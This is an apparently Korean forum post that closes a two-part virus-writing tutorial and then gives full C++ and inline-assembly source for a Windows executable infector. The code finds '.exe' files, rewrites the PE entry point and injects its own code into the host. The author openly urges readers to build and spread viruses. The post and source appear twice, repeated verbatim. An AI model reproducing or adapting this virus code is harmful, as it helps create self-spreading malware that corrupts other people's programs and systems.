글 수 83
4.마치며..
정말 내가 봐도 열라 허접한 바이러스 강좌를 2회에 걸쳐 연재했다.
"열라 난잡하여 이해할 수 없다."라고 생각할 사람들이 많을것 같다.
사실 소스는 안올리고 원리 설명만 하고 끝내려고 했으나 실제로 정말 돌아간다는걸
보여주고 싶었기 때문에 소스를 올렸다.
정말로 중요한건 원리 설명도 아니고 소스공개도 아니라고 생각한다.
동기 부여가 더 중요하다.내가 여기 쓰레기같은 강좌를 올림으로 해서 여러분들의
바이러스 제작 욕구가 불타오르고 훌륭한 바이러스를 만들기 위해 수련을 쌓기를 바
라는 마음에서 올린 강좌이다.(솔직히 30%쯤은 잘난체해보고 싶은 마음도 있었다)
많은 이들이 눈에 보이지 않는 부분에도 관심을 가졌으면 좋겠다.회사에서 다른 팀
디버깅도 상당히 많이 해주고, 소위 이해할 수 없는 괴현상이라고 부르는 버그를
많이 잡으러 다녔는데 그때마다 os와 cpu, 어셈블리 지식은 많이 알면 알수록 좋다
는것을 느낀다.
모쪼록 허접한 강좌에 분노를 하든 감동을 받든 해서 놀라움을 금치못하는 코드(좋
은쪽으로)들을 많이 짜고 남들에게 많이 전파해줬으면 하는 생각이다.내가 봐도 난
잡한 강좌를 읽어주신 분들께 감사하며 풀 소스를 아래 올린다.
// VIRUS.CPP
// 2001.3.22. programmmed by yuchi
#include <windows.h>
#include <pshpack1.h>
#include <stdio.h>
#include <conio.h>
struct PE_HEADER
{
DWORD signature;
IMAGE_FILE_HEADER _head;
IMAGE_OPTIONAL_HEADER opt_head;
};
void __declspec(naked) VirusCore()
{
HANDLE hFile; // 4 ebp-4
HANDLE hSearchFile; // 4 ebp-8
PE_HEADER* pe_header; // 4 ebp-12
DWORD len; // 4 ebp-16
DWORD old_entry; // 4 ebp-20
DWORD code_size; // 4 ebp-24
DWORD jmp_offset; // 4 ebp-28
char header[4096]; // 4096
char code[4096]; // 4096
WIN32_FIND_DATA fndata; // 320
char filename[5];
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp,esp
sub esp,8800
xor edx,edx
mov dx,0xcccc
shl edx,16
or edx,0xcccc
xor eax,eax
mov ax,0x9090
shl eax,16
or eax,0x9090
mov esi,0x00400000
lb_search_entry:
inc esi
cmp al,byte ptr[esi]
jnz lb_search_entry
xor ecx,ecx
lb_count_nop:
inc ecx
inc esi
cmp al,byte ptr[esi]
jz lb_count_nop
cmp ecx,16
jnz lb_search_entry
lb_success_search_entry:
sub esi,ecx
lea edi,dword ptr[ebp-0x0000201c]
xor ecx,ecx
; esi는 코드의 엔트리 포인트
lb_count_bytes:
cmp edx,dword ptr[esi]
jz lb_continue
cmp eax,dword ptr[esi]
jnz lb_not_jmpaddr
mov ebx,ecx
add ebx,5
mov dword ptr[ebp-0x0000001c],ebx ; 점프할 어드레스를 끼워넣을 코드 오프셋
lb_not_jmpaddr:
movsb
inc ecx
jmp lb_count_bytes
lb_continue:
movsd
movsb
add ecx,5
mov dword ptr[ebp-0x00000018],ecx ; 코드 사이즈
}
__asm
{
mov dword ptr[ebp-0x00002164],0x78652e2a
mov word ptr[ebp-0x00002160],0x0065
lea eax,dword ptr[ebp-0x0000215c]
lea edx,dword ptr[ebp-0x00002164]
push eax
push edx
mov ebx,0x77E5906D
call ebx //dword ptr[FindFirstFile]
mov dword ptr[ebp-8],eax
// hFile = CreateFile(
// fndata.cFileName, GENERIC_WRITE |
// GENERIC_READ, FILE_SHARE_READ |
// FILE_SHARE_WRITE, 0, OPEN_EXISTING,
// FILE_FLAG_SEQUENTIAL_SCAN, 0);
push 0
push 8000000h
push 3
push 0
push 3
push 0C0000000h
lea eax,[ebp-2130h]
push eax
mov ebx,0x77E585F4
call ebx // CreateFile
mov dword ptr[ebp-4],eax
// ReadFile(hFile,header,sizeof(header),&len,NULL);
push NULL
lea edx,dword ptr[ebp-0x00000010]
push edx
push 0x1000
lea edx,dword ptr[ebp-0x0000101c]
push edx
push eax
mov ebx,0x77E55314
call ebx //dword ptr[ReadFile]
// pe_header = (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) +
// ((IMAGE_DOS_HEADER*)header)->e_lfanew);
mov eax,dword ptr [ebp-0x00000FE0]
lea eax,[ebp+eax-0x0000101C]
mov dword ptr [ebp-0x0000000C],eax
//old_entry = pe_header->opt_head.AddressOfEntryPoint;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x00000028]
mov dword ptr [ebp-0x00000014],eax
// pe_header->opt_head.AddressOfEntryPoint =
// pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x0000001C]
add eax,0x00001000
sub eax,dword ptr [ebp-0x00000018]
mov ecx,dword ptr [ebp-0x0000000C]
mov dword ptr [ecx+0x00000028],eax
// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
push 0
push 0
push 0
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push 0x00001000
lea eax,[ebp-0x0000101C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// SetFilePointer(
// hFile,pe_header->opt_head.AddressOfEntryPoint,
// NULL,FILE_BEGIN);
push 0
push 0
mov eax,dword ptr [ebp-0x0000000C]
push dword ptr [eax+0x00000028]
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
}
__asm
{
lea edi,dword ptr[ebp-0x0000201c]
add edi,dword ptr[ebp-0x0000001c]
mov eax,dword ptr[ebp-0x00000014]
add eax,0x00400000
mov dword ptr[edi],eax
// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push dword ptr [ebp-0x00000018]
lea eax,[ebp-0x0000201C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// FindClose(hSearchFile);
push dword ptr[ebp-8]
mov ebx,0x77E58F5D
call ebx //dword ptr[FindClose]
// CloseHandle(hFile);
push dword ptr[ebp-4]
mov ebx,0x77E53053
call ebx //dword ptr[CloseHandle]
}
__asm
{
nop
nop
nop
nop
push offset lb_end
pop edx
mov esp,ebp
pop ebp
jmp edx
int 3
int 3
int 3
int 3
lb_end:
ret
}
}
int main()
{
VirusCore();
return 0;
}
정말 내가 봐도 열라 허접한 바이러스 강좌를 2회에 걸쳐 연재했다.
"열라 난잡하여 이해할 수 없다."라고 생각할 사람들이 많을것 같다.
사실 소스는 안올리고 원리 설명만 하고 끝내려고 했으나 실제로 정말 돌아간다는걸
보여주고 싶었기 때문에 소스를 올렸다.
정말로 중요한건 원리 설명도 아니고 소스공개도 아니라고 생각한다.
동기 부여가 더 중요하다.내가 여기 쓰레기같은 강좌를 올림으로 해서 여러분들의
바이러스 제작 욕구가 불타오르고 훌륭한 바이러스를 만들기 위해 수련을 쌓기를 바
라는 마음에서 올린 강좌이다.(솔직히 30%쯤은 잘난체해보고 싶은 마음도 있었다)
많은 이들이 눈에 보이지 않는 부분에도 관심을 가졌으면 좋겠다.회사에서 다른 팀
디버깅도 상당히 많이 해주고, 소위 이해할 수 없는 괴현상이라고 부르는 버그를
많이 잡으러 다녔는데 그때마다 os와 cpu, 어셈블리 지식은 많이 알면 알수록 좋다
는것을 느낀다.
모쪼록 허접한 강좌에 분노를 하든 감동을 받든 해서 놀라움을 금치못하는 코드(좋
은쪽으로)들을 많이 짜고 남들에게 많이 전파해줬으면 하는 생각이다.내가 봐도 난
잡한 강좌를 읽어주신 분들께 감사하며 풀 소스를 아래 올린다.
// VIRUS.CPP
// 2001.3.22. programmmed by yuchi
#include <windows.h>
#include <pshpack1.h>
#include <stdio.h>
#include <conio.h>
struct PE_HEADER
{
DWORD signature;
IMAGE_FILE_HEADER _head;
IMAGE_OPTIONAL_HEADER opt_head;
};
void __declspec(naked) VirusCore()
{
HANDLE hFile; // 4 ebp-4
HANDLE hSearchFile; // 4 ebp-8
PE_HEADER* pe_header; // 4 ebp-12
DWORD len; // 4 ebp-16
DWORD old_entry; // 4 ebp-20
DWORD code_size; // 4 ebp-24
DWORD jmp_offset; // 4 ebp-28
char header[4096]; // 4096
char code[4096]; // 4096
WIN32_FIND_DATA fndata; // 320
char filename[5];
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp,esp
sub esp,8800
xor edx,edx
mov dx,0xcccc
shl edx,16
or edx,0xcccc
xor eax,eax
mov ax,0x9090
shl eax,16
or eax,0x9090
mov esi,0x00400000
lb_search_entry:
inc esi
cmp al,byte ptr[esi]
jnz lb_search_entry
xor ecx,ecx
lb_count_nop:
inc ecx
inc esi
cmp al,byte ptr[esi]
jz lb_count_nop
cmp ecx,16
jnz lb_search_entry
lb_success_search_entry:
sub esi,ecx
lea edi,dword ptr[ebp-0x0000201c]
xor ecx,ecx
; esi는 코드의 엔트리 포인트
lb_count_bytes:
cmp edx,dword ptr[esi]
jz lb_continue
cmp eax,dword ptr[esi]
jnz lb_not_jmpaddr
mov ebx,ecx
add ebx,5
mov dword ptr[ebp-0x0000001c],ebx ; 점프할 어드레스를 끼워넣을 코드 오프셋
lb_not_jmpaddr:
movsb
inc ecx
jmp lb_count_bytes
lb_continue:
movsd
movsb
add ecx,5
mov dword ptr[ebp-0x00000018],ecx ; 코드 사이즈
}
__asm
{
mov dword ptr[ebp-0x00002164],0x78652e2a
mov word ptr[ebp-0x00002160],0x0065
lea eax,dword ptr[ebp-0x0000215c]
lea edx,dword ptr[ebp-0x00002164]
push eax
push edx
mov ebx,0x77E5906D
call ebx //dword ptr[FindFirstFile]
mov dword ptr[ebp-8],eax
// hFile = CreateFile(
// fndata.cFileName, GENERIC_WRITE |
// GENERIC_READ, FILE_SHARE_READ |
// FILE_SHARE_WRITE, 0, OPEN_EXISTING,
// FILE_FLAG_SEQUENTIAL_SCAN, 0);
push 0
push 8000000h
push 3
push 0
push 3
push 0C0000000h
lea eax,[ebp-2130h]
push eax
mov ebx,0x77E585F4
call ebx // CreateFile
mov dword ptr[ebp-4],eax
// ReadFile(hFile,header,sizeof(header),&len,NULL);
push NULL
lea edx,dword ptr[ebp-0x00000010]
push edx
push 0x1000
lea edx,dword ptr[ebp-0x0000101c]
push edx
push eax
mov ebx,0x77E55314
call ebx //dword ptr[ReadFile]
// pe_header = (PE_HEADER*)((char*)((IMAGE_DOS_HEADER*)header) +
// ((IMAGE_DOS_HEADER*)header)->e_lfanew);
mov eax,dword ptr [ebp-0x00000FE0]
lea eax,[ebp+eax-0x0000101C]
mov dword ptr [ebp-0x0000000C],eax
//old_entry = pe_header->opt_head.AddressOfEntryPoint;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x00000028]
mov dword ptr [ebp-0x00000014],eax
// pe_header->opt_head.AddressOfEntryPoint =
// pe_header->opt_head.SizeOfCode + 0x00001000 - code_size;
mov eax,dword ptr [ebp-0x0000000C]
mov eax,dword ptr [eax+0x0000001C]
add eax,0x00001000
sub eax,dword ptr [ebp-0x00000018]
mov ecx,dword ptr [ebp-0x0000000C]
mov dword ptr [ecx+0x00000028],eax
// SetFilePointer(hFile,0,NULL,FILE_BEGIN);
push 0
push 0
push 0
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
// WriteFile(hFile,(LPVOID)header,sizeof(header),&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push 0x00001000
lea eax,[ebp-0x0000101C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// SetFilePointer(
// hFile,pe_header->opt_head.AddressOfEntryPoint,
// NULL,FILE_BEGIN);
push 0
push 0
mov eax,dword ptr [ebp-0x0000000C]
push dword ptr [eax+0x00000028]
push dword ptr [ebp-4]
mov ebx,0x77E553E8
call ebx //dword ptr [SetFilePointer]
}
__asm
{
lea edi,dword ptr[ebp-0x0000201c]
add edi,dword ptr[ebp-0x0000001c]
mov eax,dword ptr[ebp-0x00000014]
add eax,0x00400000
mov dword ptr[edi],eax
// WriteFile(hFile,(LPVOID)code,code_size,&len,NULL);
push 0
lea eax,[ebp-0x00000010]
push eax
push dword ptr [ebp-0x00000018]
lea eax,[ebp-0x0000201C]
push eax
push dword ptr [ebp-4]
mov ebx,0x77E5334F
call ebx //dword ptr [WriteFile]
// FindClose(hSearchFile);
push dword ptr[ebp-8]
mov ebx,0x77E58F5D
call ebx //dword ptr[FindClose]
// CloseHandle(hFile);
push dword ptr[ebp-4]
mov ebx,0x77E53053
call ebx //dword ptr[CloseHandle]
}
__asm
{
nop
nop
nop
nop
push offset lb_end
pop edx
mov esp,ebp
pop ebp
jmp edx
int 3
int 3
int 3
int 3
lb_end:
ret
}
}
int main()
{
VirusCore();
return 0;
}